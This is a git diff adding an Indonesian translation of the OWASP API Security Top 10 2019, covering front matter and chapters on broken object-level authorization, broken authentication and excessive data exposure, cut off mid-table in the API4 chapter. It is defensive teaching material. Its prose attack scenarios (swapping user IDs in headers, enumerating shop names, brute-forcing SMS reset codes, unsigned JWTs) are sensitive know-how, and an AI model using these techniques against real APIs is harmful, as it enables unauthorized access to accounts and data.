diff --git a/VERSION b/VERSION index acdc3f1b0..fad066f80 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.4.2 \ No newline at end of file +2.5.0 \ No newline at end of file diff --git a/editions/2019/id/0x00-header.md b/editions/2019/id/0x00-header.md new file mode 100644 index 000000000..d12cffdaa --- /dev/null +++ b/editions/2019/id/0x00-header.md @@ -0,0 +1,20 @@ +--- +title: '' +--- + +![OWASP LOGO](./images/owasp-logo.png) + +# OWASP API Security Top 10 2019 + +Sepuluh Risiko Keamanan API yang Paling Kritis + +29 Mei 2019 + +![WASP Logo URL TBA](./images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + diff --git a/editions/2019/id/0x00-notice.md b/editions/2019/id/0x00-notice.md new file mode 100644 index 000000000..5b6ba879d --- /dev/null +++ b/editions/2019/id/0x00-notice.md @@ -0,0 +1,11 @@ +# Pemberitahuan + +Ini adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk versi resmi yang didistribusikan sebagai Portable Document Format (PDF). + +Kontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk detail tentang [Cara Berkontribusi][1], harap mengacu pada [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy + +[1]: ../../../CONTRIBUTING.md + diff --git a/editions/2019/id/0x00-toc.md b/editions/2019/id/0x00-toc.md new file mode 100644 index 000000000..6928016b7 --- /dev/null +++ b/editions/2019/id/0x00-toc.md @@ -0,0 +1,23 @@ +# Daftar Isi + +* [Daftar Isi](0x00-toc.md) +* [Tentang OWASP](0x01-about-owasp.md) +* [Kata Pengantar](0x02-foreword.md) +* [Pengenalan](0x03-introduction.md) +* [Catatan Rilis](0x04-release-notes.md) +* [Ancaman Keamanan API](0x10-api-security-risks.md) +* [OWASP Top 10 Ancaman Keamanan API – 2019](0x11-t10.md) +* [API1:2019 Otorisasi Objek Rusak](0xa1-broken-object-level-authorization.md) +* [API2:2019 Otentikasi Pengguna Rusak](0xa2-broken-user-authentication.md) +* [API3:2019 Paparan Data Berlebihan](0xa3-excessive-data-exposure.md) +* [API4:2019 Kurangnya Sumber Daya & Pembatasan Tingkat](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 Otorisasi Tingkat Fungsi Rusak](0xa5-broken-function-level-authorization.md) +* [API6:2019 Penugasan Massal](0xa6-mass-assignment.md) +* [API7:2019 Konfigurasi Keamanan yang Salah](0xa7-security-misconfiguration.md) +* [API8:2019 Injeksi](0xa8-injection.md) +* [API9:2019 Pengelolaan Aset yang Tidak Tepat](0xa9-improper-assets-management.md) +* [API10:2019 Pencatatan & Pemantauan yang Kurang Memadai](0xaa-insufficient-logging-monitoring.md) +* [Apa yang Selanjutnya untuk Pengembang](0xb0-next-devs.md) +* [Apa yang Selanjutnya untuk DevSecOps](0xb1-next-devsecops.md) +* [Metodologi dan Data](0xd0-about-data.md) +* [Ucapan Terima Kasih](0xd1-acknowledgments.md) \ No newline at end of file diff --git a/editions/2019/id/0x01-about-owasp.md b/editions/2019/id/0x01-about-owasp.md new file mode 100644 index 000000000..42e3d7f8c --- /dev/null +++ b/editions/2019/id/0x01-about-owasp.md @@ -0,0 +1,56 @@ +# Tentang OWASP + +Open Web Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan +untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan +API yang dapat dipercaya. + +Di OWASP, Anda akan menemukan yang gratis dan terbuka: + +* Alat dan standar keamanan aplikasi. +* Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan + tinjauan kode yang aman. +* Presentasi dan [video][1]. +* [Lembar cheats][2] tentang banyak topik umum. +* Kontrol keamanan dan pustaka standar. +* [Chapter lokal di seluruh dunia][3]. +* Penelitian mutakhir. +* [Konferensi luas di seluruh dunia][4]. +* [Mailing list][5]. + +Pelajari lebih lanjut di: [https://www.owasp.org][6]. + +Semua alat OWASP, dokumen, video, presentasi, dan bab bebas dan +terbuka untuk siapa saja yang tertarik meningkatkan keamanan aplikasi. + +Kami menganjurkan pendekatan keamanan aplikasi sebagai masalah orang, proses, dan +teknologi, karena pendekatan keamanan aplikasi paling efektif memerlukan peningkatan di bidang ini. + +OWASP adalah jenis organisasi baru. Kebebasan kami dari tekanan komersial +memungkinkan kami untuk menyediakan informasi keamanan aplikasi yang tidak memihak, praktis, dan hemat biaya. + +OWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung +penggunaan teknologi keamanan komersial yang cerdas. OWASP memproduksi banyak jenis +bahan dengan cara kolaboratif, transparan, dan terbuka. + +Yayasan OWASP adalah entitas nirlaba yang memastikan kesuksesan jangka panjang proyek. +Hampir semua orang yang terkait dengan OWASP adalah relawan, +termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung +penelitian keamanan inovatif dengan hibah dan infrastruktur. + +Ayo bergabung dengan kami! + +## Hak Cipta dan Lisensi + +![lisensi](images/license.png) + +Hak Cipta © 2003-2019 Yayasan OWASP. Dokumen ini dirilis di bawah +[Creative Commons Attribution Share-Alike 4.0 license][7]. Untuk penggunaan ulang atau +distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://www.owasp.org/index.php/OWASP_Chapter +[4]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2019/id/0x02-foreword.md b/editions/2019/id/0x02-foreword.md new file mode 100644 index 000000000..f12b77dd1 --- /dev/null +++ b/editions/2019/id/0x02-foreword.md @@ -0,0 +1,39 @@ +# Kata Pengantar + +Elemen dasar inovasi di dunia aplikasi yang digerakkan saat ini adalah +Antarmuka Pemrograman Aplikasi (API). Dari bank, ritel, dan transportasi +hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting +dari aplikasi seluler, SaaS, dan web modern dan dapat ditemukan di aplikasi menghadap pelanggan, +menghadap mitra, dan internal. + +Karena sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi (PII) dan karena itu, +API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan mustahil. + +Meskipun risiko keamanan web aplikasi yang lebih luas Top 10 masih masuk akal, +karena sifat khusus mereka, daftar risiko keamanan API spesifik diperlukan. +Keamanan API berfokus pada strategi dan solusi untuk memahami dan mengurangi +kerentanan dan risiko keamanan yang unik terkait dengan API. + +Jika Anda sudah familiar dengan [Proyek OWASP Top 10][1], maka Anda akan melihat +kesamaan antara kedua dokumen: keduanya ditujukan untuk keterbacaan dan adopsi. Jika Anda baru mengenal +seri OWASP Top 10, mungkin lebih baik membaca bagian [Risiko Keamanan API][2] dan [Metodologi dan Data][3] +sebelum melompat ke daftar 10 besar. + +Anda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, +dan ide Anda di repositori proyek GitHub kami: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Anda dapat menemukan OWASP API Security Top 10 di sini: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +Kami ingin berterima kasih kepada semua kontributor yang membuat proyek ini dimungkinkan dengan upaya dan kontribusi mereka. +Mereka semua tercantum di bagian [Ucapan Terima Kasih][4]. Terima kasih! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/id/0x03-introduction.md b/editions/2019/id/0x03-introduction.md new file mode 100644 index 000000000..072d8cc5b --- /dev/null +++ b/editions/2019/id/0x03-introduction.md @@ -0,0 +1,16 @@ +# Pendahuluan + +## Selamat Datang di OWASP API Security Top 10 - 2019! + +Selamat datang di edisi pertama OWASP API Security Top 10. Jika Anda sudah akrab dengan seri OWASP Top 10, Anda akan melihat kesamaannya: tujuannya adalah mudah dibaca dan diadopsi. Jika tidak, pertimbangkan untuk mengunjungi [halaman wiki OWASP API Security Project][1], sebelum menggali lebih dalam tentang risiko keamanan API yang paling kritis. + +API memainkan peran yang sangat penting dalam arsitektur aplikasi modern. Karena penciptaan kesadaran keamanan dan inovasi memiliki tempo yang berbeda, penting untuk fokus pada kelemahan keamanan API yang umum. + +Tujuan utama OWASP API Security Top 10 adalah untuk mendidik mereka yang terlibat dalam pengembangan dan pemeliharaan API, misalnya pengembang, desainer, arsitek, manajer, atau organisasi. + +Di bagian [Metodologi dan Data][2], Anda dapat membaca lebih lanjut tentang bagaimana edisi pertama ini dibuat. Di versi mendatang, kami ingin melibatkan industri keamanan, dengan panggilan data publik. Untuk saat ini, kami mendorong semua orang untuk berkontribusi dengan pertanyaan, komentar, dan ide di repositori [GitHub][3] atau [Mailing list][4] kami. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/id/0x04-release-notes.md b/editions/2019/id/0x04-release-notes.md new file mode 100644 index 000000000..ff9be9156 --- /dev/null +++ b/editions/2019/id/0x04-release-notes.md @@ -0,0 +1,13 @@ +# Catatan Rilis + +Ini adalah edisi OWASP API Security Top 10 pertama, yang direncanakan akan diperbarui secara berkala, setiap tiga atau empat tahun sekali. + +Tidak seperti versi ini, di versi mendatang, kami ingin melakukan panggilan data publik, melibatkan industri keamanan dalam upaya ini. Di bagian [Metodologi dan Data][1], Anda akan menemukan detail lebih lanjut tentang bagaimana versi ini dibangun. Untuk detail lebih lanjut tentang risiko keamanan, harap merujuk pada bagian [API Security Risks][2]. + +Penting untuk menyadari bahwa selama beberapa tahun terakhir, arsitektur aplikasi telah berubah secara signifikan. Saat ini, API memainkan peran yang sangat penting dalam arsitektur baru ini dari mikroservis, Single Page Applications (SPAs), aplikasi seluler, IoT, dan lainnya. + +OWASP API Security Top 10 merupakan upaya yang dibutuhkan untuk menciptakan kesadaran tentang masalah keamanan API modern. Hanya mungkin karena upaya besar dari beberapa sukarelawan, semuanya terdaftar di bagian [Penghargaan][3]. Terima kasih! + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/id/0x10-api-security-risks.md b/editions/2019/id/0x10-api-security-risks.md new file mode 100644 index 000000000..9bb421457 --- /dev/null +++ b/editions/2019/id/0x10-api-security-risks.md @@ -0,0 +1,38 @@ +# Risiko Keamanan API + +[OWASP Risk Rating Methodology][1] digunakan untuk melakukan analisis risiko. + +Tabel di bawah ini merangkum terminologi yang terkait dengan skor risiko. + +| Agen Ancaman | Dapat Dieksploitasi | Prevalensi Kelemahan | Dapat Dideteksi Kelemahan | Dampak Teknis | Dampak Bisnis | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Khusus API | Mudah: **3** | Luas **3** | Mudah **3** | Parah **3** | Spesifik Bisnis | +| Khusus API | Rata-rata: **2** | Umum **2** | Rata-rata **2** | Sedang **2** | Spesifik Bisnis | +| Khusus API | Sulit: **1** | Sulit **1** | Sulit **1** | Minor **1** | Spesifik Bisnis | + +**Catatan**: Pendekatan ini tidak memperhitungkan kemungkinan agen ancaman. Juga tidak memperhitungkan berbagai detail teknis yang terkait dengan aplikasi tertentu Anda. Faktor-faktor apa pun dapat secara signifikan mempengaruhi kemungkinan keseluruhan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Peringkat ini tidak memperhitungkan dampak aktual pada bisnis Anda. Organisasi Anda harus memutuskan seberapa banyak risiko keamanan dari aplikasi dan API yang akan diterima organisasi mengingat budaya, industri, dan lingkungan peraturan Anda. Tujuan OWASP API Security Top 10 bukan untuk melakukan analisis risiko ini untuk Anda. + +## Referensi + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Eksternal + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/id/0x11-t10.md b/editions/2019/id/0x11-t10.md new file mode 100644 index 000000000..3e9257185 --- /dev/null +++ b/editions/2019/id/0x11-t10.md @@ -0,0 +1,14 @@ +# OWASP Top 10 Risiko Keamanan API – 2019 + +| Risiko | Deskripsi | +| ---- | ----------- | +| API1:2019 - Otorisasi Tingkat Objek yang Rusak | API cenderung mengekspos endpoint yang menangani pengidentifikasi objek, menciptakan masalah Otorisasi Akses Tingkat yang luas. Pemeriksaan otorisasi tingkat objek harus dipertimbangkan dalam setiap fungsi yang mengakses sumber data menggunakan input dari pengguna. | +| API2:2019 - Otentikasi Pengguna yang Rusak | Mekanisme otentikasi sering diimplementasikan dengan salah, memungkinkan penyerang mengkompromikan token otentikasi atau memanfaatkan celah implementasi untuk mengambil alih identitas pengguna lain sementara atau permanen. Mengompromikan kemampuan sistem untuk mengidentifikasi klien/pengguna, mengkompromikan keamanan API secara keseluruhan. | +| API3:2019 - Pemaparan Data yang Berlebihan | Menantikan implementasi generik, pengembang cenderung mengekspos semua properti objek tanpa mempertimbangkan sensitivitas individu mereka, mengandalkan klien untuk melakukan penyaringan data sebelum menampilkannya ke pengguna. | +| API4:2019 - Kurangnya Sumber Daya & Pembatasan Laju | Cukup sering, API tidak memberlakukan pembatasan apa pun pada ukuran atau jumlah sumber daya yang dapat diminta oleh klien/pengguna. Tidak hanya dapat berdampak pada kinerja server API, yang mengarah ke Denial of Service (DoS), tetapi juga membiarkan pintu terbuka untuk celah otentikasi seperti brute force. | +| API5:2019 - Otorisasi Tingkat Fungsi yang Rusak | Kebijakan kontrol akses kompleks dengan hierarki, kelompok, dan peran yang berbeda, dan pemisahan yang tidak jelas antara fungsi administratif dan reguler, cenderung mengarah pada celah otorisasi. Dengan memanfaatkan masalah ini, penyerang mendapatkan akses ke sumber daya pengguna lain dan/atau fungsi administratif. | +| API6:2019 - Mass Assignment | Mengikat data yang disediakan klien (misalnya, JSON) ke model data, tanpa penyaringan properti yang tepat berdasarkan daftar putih, biasanya mengarah ke Mass Assignment. Menebak properti objek, mengeksplorasi titik akhir API lainnya, membaca dokumentasi, atau menyediakan properti objek tambahan dalam muatan permintaan, memungkinkan penyerang memodifikasi properti objek yang seharusnya tidak mereka lakukan. | +| API7:2019 - Kesalahan Konfigurasi Keamanan | Kesalahan konfigurasi keamanan umumnya merupakan hasil dari konfigurasi default yang tidak aman, konfigurasi yang tidak lengkap atau ad-hoc, penyimpanan cloud terbuka, header HTTP yang dikonfigurasi salah, metode HTTP yang tidak perlu, berbagi sumber daya Cross-Origin (CORS) yang longgar, dan pesan kesalahan yang terperinci mengandung informasi sensitif. | +| API8:2019 - Injeksi | Celah injeksi, seperti SQL, NoSQL, Command Injection, dll., terjadi ketika data yang tidak dipercaya dikirim ke interpreter sebagai bagian dari perintah atau kueri. Data berbahaya penyerang dapat menipu interpreter untuk mengeksekusi perintah yang tidak diinginkan atau mengakses data tanpa otorisasi yang tepat. | +| API9:2019 - Pengelolaan Aset yang Tidak Tepat | API cenderung mengekspos lebih banyak endpoint daripada aplikasi web tradisional, sehingga dokumentasi yang tepat dan terbaru sangat penting. Inventarisasi host dan versi API yang diterapkan yang tepat juga memainkan peran penting untuk memitigasi masalah seperti versi API usang dan endpoint debug yang terekspos. | +| API10:2019 - Logging & Pemantauan yang Tidak Memadai | Pencatatan dan pemantauan yang tidak memadai, dipasangkan dengan integrasi insiden yang hilang atau tidak efektif, memungkinkan penyerang untuk menyerang sistem lebih lanjut, mempertahankan persistensi, berpindah ke lebih banyak sistem untuk mengutak-atik, mengekstrak, atau menghancurkan data. Sebagian besar studi pelanggaran menunjukkan waktu untuk mendeteksi pelanggaran adalah lebih dari 200 hari, biasanya dideteksi oleh pihak eksternal daripada proses internal atau pemantauan. | \ No newline at end of file diff --git a/editions/2019/id/0xa1-broken-object-level-authorization.md b/editions/2019/id/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..8ca947d1e --- /dev/null +++ b/editions/2019/id/0xa1-broken-object-level-authorization.md @@ -0,0 +1,43 @@ +# API1:2019 Otorisasi Tingkat Objek yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **3** : Spesifik Bisnis | +| Penyerang dapat memanfaatkan endpoint API yang rentan terhadap otorisasi tingkat objek yang rusak dengan memanipulasi ID objek yang dikirim dalam permintaan. Hal ini dapat menyebabkan akses tidak sah ke data sensitif. Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak status klien, dan sebaliknya, lebih bergantung pada parameter seperti ID objek, yang dikirim dari klien untuk memutuskan objek mana yang akan diakses. | Ini telah menjadi serangan paling umum dan berdampak pada API. Mekanisme otorisasi dan kontrol akses dalam aplikasi modern kompleks dan meluas. Bahkan jika aplikasi mengimplementasikan infrastruktur yang tepat untuk pemeriksaan otorisasi, pengembang mungkin lupa menggunakan pemeriksaan ini sebelum mengakses objek sensitif. Deteksi kontrol akses biasanya tidak dapat diterapkan untuk pengujian statis atau dinamis otomatis. | Akses tidak sah dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Akses tidak sah ke objek juga dapat mengarah ke pengambilalihan akun secara penuh. | + +## Apakah API Rentan? + +Otorisasi tingkat objek adalah mekanisme kontrol akses yang biasanya diimplementasikan di tingkat kode untuk memvalidasi bahwa satu pengguna hanya dapat mengakses objek yang seharusnya mereka akses. + +Setiap endpoint API yang menerima ID objek, dan melakukan jenis tindakan apa pun pada objek, harus menerapkan pemeriksaan otorisasi tingkat objek. Pemeriksaan harus memvalidasi bahwa pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada objek yang diminta. + +Kegagalan dalam mekanisme ini biasanya menyebabkan pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data. + +## Skenario Serangan Contoh + +### Skenario #1 + +Platform e-commerce untuk toko online (toko) menyediakan halaman daftar dengan grafik pendapatan untuk toko hosting mereka. Memeriksa permintaan browser, penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat mendapatkan daftar semua nama toko yang di-host. Dengan skrip sederhana untuk memanipulasi nama di daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce. + +### Skenario #2 + +Saat memantau lalu lintas jaringan perangkat wearable, permintaan HTTP `PATCH` berikut menarik perhatian penyerang karena adanya header permintaan HTTP kustom `X-User-Id: 54796`. Mengganti nilai `X-User-Id` dengan `54795`, penyerang menerima respons HTTP yang berhasil, dan dapat memodifikasi data akun pengguna lain. + +## Cara Mencegah + +* Implementasikan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna. +* Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di database. +* Lebih baik menggunakan nilai acak dan tidak terduga sebagai ID catatan. +* Menulis tes untuk mengevaluasi mekanisme otorisasi. Jangan menerapkan perubahan rentan yang merusak tes. + +## Referensi + +### Eksternal + +* [CWE-284: Kontrol Akses yang Tidak Tepat][1] +* [CWE-285: Otorisasi yang Tidak Tepat][2] +* [CWE-639: Otorisasi Melewati Kunci yang Dikendalikan Pengguna][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html \ No newline at end of file diff --git a/editions/2019/id/0xa2-broken-user-authentication.md b/editions/2019/id/0xa2-broken-user-authentication.md new file mode 100644 index 000000000..325e54b49 --- /dev/null +++ b/editions/2019/id/0xa2-broken-user-authentication.md @@ -0,0 +1,63 @@ +# API2:2019 Otentikasi Pengguna yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **3** : Spesifik Bisnis | +| Otentikasi dalam API adalah mekanisme yang kompleks dan membingungkan. Insinyur perangkat lunak dan keamanan mungkin memiliki kesalahpahaman tentang batasan otentikasi dan cara mengimplementasikannya dengan benar. Selain itu, mekanisme otentikasi adalah target yang mudah bagi penyerang, karena terbuka untuk semua orang. Dua poin ini membuat komponen otentikasi berpotensi rentan terhadap banyak eksploitasi. | Ada dua sub-masalah: 1. Kurangnya mekanisme perlindungan: endpoint API yang bertanggung jawab untuk otentikasi harus diperlakukan berbeda dari endpoint reguler dan menerapkan lapisan perlindungan tambahan 2. Kesalahan implementasi mekanisme: Mekanisme digunakan/diimplementasikan tanpa mempertimbangkan vektor serangan, atau itu kasus penggunaan yang salah (misalnya, mekanisme otentikasi yang dirancang untuk klien IoT mungkin bukan pilihan yang tepat untuk aplikasi web). | Penyerang dapat mengambil alih akun pengguna lain dalam sistem, membaca data pribadi mereka, dan melakukan tindakan sensitif atas nama mereka, seperti transaksi uang dan mengirim pesan pribadi. | + +## Apakah API Rentan? + +Titik akhir dan alur otentikasi adalah aset yang perlu dilindungi. “Lupa kata sandi / reset kata sandi” harus diperlakukan sama seperti mekanisme otentikasi. + +API rentan jika: +* Mengizinkan [credential stuffing][1] di mana penyerang memiliki daftar nama pengguna dan kata sandi yang valid. +* Mengizinkan penyerang melakukan serangan brute force pada akun pengguna yang sama, tanpa menyajikan mekanisme captcha/penguncian akun. +* Mengizinkan kata sandi yang lemah. +* Mengirim detail otentikasi sensitif, seperti token otentikasi dan kata sandi di URL. +* Tidak memvalidasi keaslian token. +* Menerima token JWT yang tidak ditandatangani/lemah ditandatangani (`"alg": "none"`) / tidak memvalidasi tanggal kedaluwarsa mereka. +* Menggunakan kata sandi teks polos, tidak dienkripsi, atau di-hash lemah. +* Menggunakan kunci enkripsi yang lemah. + +## Skenario Serangan Contoh + +## Skenario #1 + +[Credential stuffing][1] (menggunakan [daftar nama pengguna/kata sandi yang diketahui][2]), adalah serangan yang umum. Jika aplikasi tidak menerapkan ancaman otomatis atau perlindungan stuffing kredensial, aplikasi dapat digunakan sebagai oracle kata sandi (penguji) untuk menentukan apakah kredensial valid. + +## Skenario #2 + +Seorang penyerang memulai alur kerja pemulihan kata sandi dengan menerbitkan permintaan POST ke `/api/system/verification-codes` dan dengan menyediakan nama pengguna dalam body permintaan. Selanjutnya token SMS dengan 6 digit dikirim ke telepon korban. Karena API tidak menerapkan kebijakan pembatasan laju, penyerang dapat menguji semua kombinasi yang mungkin menggunakan skrip multi-thread, terhadap endpoint `/api/system/verification-codes/{smsToken}` untuk menemukan token yang benar dalam beberapa menit. + +## Cara Mencegah + +* Pastikan Anda mengetahui semua kemungkinan alur untuk mengotentikasi ke API (mobile/web/tautan dalam yang mengimplementasikan otentikasi satu klik/dll.) +* Tanyakan pada insinyur Anda alur apa yang Anda lewatkan. +* Baca tentang mekanisme otentikasi Anda. Pastikan Anda memahami apa dan bagaimana mereka digunakan. OAuth bukan otentikasi, dan begitu juga kunci API. +* Jangan menemukan kembali roda dalam otentikasi, generasi token, penyimpanan kata sandi. Gunakan standar. +* Endpoint pemulihan kredensial/lupa kata sandi harus diperlakukan seperti titik akhir login dalam hal brute force, pembatasan laju, dan perlindungan penguncian. +* Gunakan [OWASP Authentication Cheatsheet][3]. +* Jika memungkinkan, terapkan otentikasi multifaktor. +* Terapkan mekanisme anti-brute force untuk memitigasi stuffing kredensial, serangan kamus, dan serangan brute force pada titik akhir otentikasi Anda. Mekanisme ini harus lebih ketat daripada mekanisme pembatasan laju normal pada API Anda. +* Terapkan [penguncian akun][4] / mekanisme captcha untuk mencegah brute force terhadap pengguna tertentu. Terapkan pemeriksaan kata sandi lemah. +* Kunci API seharusnya tidak digunakan untuk otentikasi pengguna, tetapi untuk [otentikasi aplikasi/proyek klien][5]. + +## Referensi + +### OWASP + +* [OWASP Key Management Cheat Sheet][6] +* [OWASP Authentication Cheatsheet][3] +* [Credential Stuffing][1] + +### Eksternal + +* [CWE-798: Penggunaan Kredensial Hard-coded][7] + +[1]: https://www.owasp.org/index.php/Credential_stuffing +[2]: https://github.com/danielmiessler/SecLists +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[4]: https://www.owasp.org/index.php/Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003) +[5]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[6]: https://www.owasp.org/index.php/Key_Management_Cheat_Sheet +[7]: https://cwe.mitre.org/data/definitions/798.html \ No newline at end of file diff --git a/editions/2019/id/0xa3-excessive-data-exposure.md b/editions/2019/id/0xa3-excessive-data-exposure.md new file mode 100644 index 000000000..3a75fcf15 --- /dev/null +++ b/editions/2019/id/0xa3-excessive-data-exposure.md @@ -0,0 +1,38 @@ +# API3:2019 Pemaparan Data yang Berlebihan + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi Pemaparan Data Berlebihan sederhana, dan biasanya dilakukan dengan menyadap lalu lintas untuk menganalisis respon API, mencari pemaparan data sensitif yang seharusnya tidak dikembalikan ke pengguna. | API mengandalkan klien untuk melakukan penyaringan data. Karena API digunakan sebagai sumber data, terkadang pengembang mencoba mengimplementasikannya secara generik tanpa memikirkan sensitivitas data yang terpapar. Alat otomatis biasanya tidak dapat mendeteksi jenis kerentanan ini karena sulit membedakan antara data yang sah dikembalikan dari API, dan data sensitif yang tidak boleh dikembalikan tanpa pemahaman mendalam tentang aplikasi. | Pemaparan Data Berlebihan umumnya mengarah pada pemaparan data sensitif. | + +## Apakah API Rentan? + +API mengembalikan data sensitif ke klien berdasarkan desain. Data ini biasanya disaring di sisi klien sebelum ditampilkan ke pengguna. Penyerang dengan mudah dapat menyadap lalu lintas dan melihat data sensitif. + +## Skenario Serangan Contoh + +### Skenario #1 + +Tim seluler menggunakan endpoint `/api/articles/{articleId}/comments/{commentId}` dalam tampilan artikel untuk merender metadata komentar. Menyadap lalu lintas aplikasi seluler, seorang penyerang mengetahui bahwa data sensitif lain terkait penulis komentar juga dikembalikan. Implementasi endpoint menggunakan metode `toJSON()` generik pada model `User`, yang berisi PII, untuk men-serialisasi objek. + +### Skenario #2 + +Sistem pengawasan berbasis IOT memungkinkan administrator membuat pengguna dengan izin yang berbeda. Seorang admin membuat akun pengguna untuk satpam baru yang hanya boleh mengakses bangunan tertentu di situs tersebut. Setelah satpam menggunakan aplikasi selulernya, panggilan API dipicu ke: `/api/sites/111/cameras` untuk menerima data tentang kamera yang tersedia dan menampilkannya di dashboard. Respons berisi daftar dengan rincian tentang kamera dalam format berikut: `{"id":"xxx","live_access_token":"xxxx-bbbbb","building_id":"yyy"}`. Meskipun GUI klien hanya menampilkan kamera yang seharusnya satpam ini akses, respons API aktual berisi daftar lengkap semua kamera di situs. + +## Cara Mencegah + +* Jangan pernah mengandalkan sisi klien untuk menyaring data sensitif. +* Tinjau respon dari API untuk memastikan hanya berisi data yang sah. +* Insinyur backend harus selalu bertanya pada diri sendiri "siapa konsumen data ini?" sebelum memaparkan endpoint API baru. +* Hindari menggunakan metode generik seperti `to_json()` dan `to_string()`. Sebaliknya, pilih properti spesifik yang benar-benar ingin Anda kembalikan. +* Klasifikasikan informasi sensitif dan pribadi (PII) yang disimpan dan dikelola aplikasi Anda, meninjau semua panggilan API yang mengembalikan informasi tersebut untuk melihat apakah respons ini menimbulkan masalah keamanan. +* Implementasikan mekanisme validasi respons berbasis skema sebagai lapisan keamanan tambahan. Sebagai bagian dari mekanisme ini, tentukan dan paksakan data yang dikembalikan oleh semua metode API, termasuk kesalahan. + + +## Referensi + +### Eksternal + +* [CWE-213: Pemaparan Informasi yang Disengaja][1] + +[1]: https://cwe.mitre.org/data/definitions/213.html \ No newline at end of file diff --git a/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md new file mode 100644 index 000000000..57e98a72b --- /dev/null +++ b/editions/2019/id/0xa4-lack-of-resources-and-rate-limiting.md @@ -0,0 +1,66 @@ +# API4:2019 Kurangnya Sumber Daya & Pembatasan Laju + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **2** | Prevalensi **3** : Deteksi **3** | Teknis **2** : Spesifik Bisnis | +| Eksploitasi memerlukan permintaan 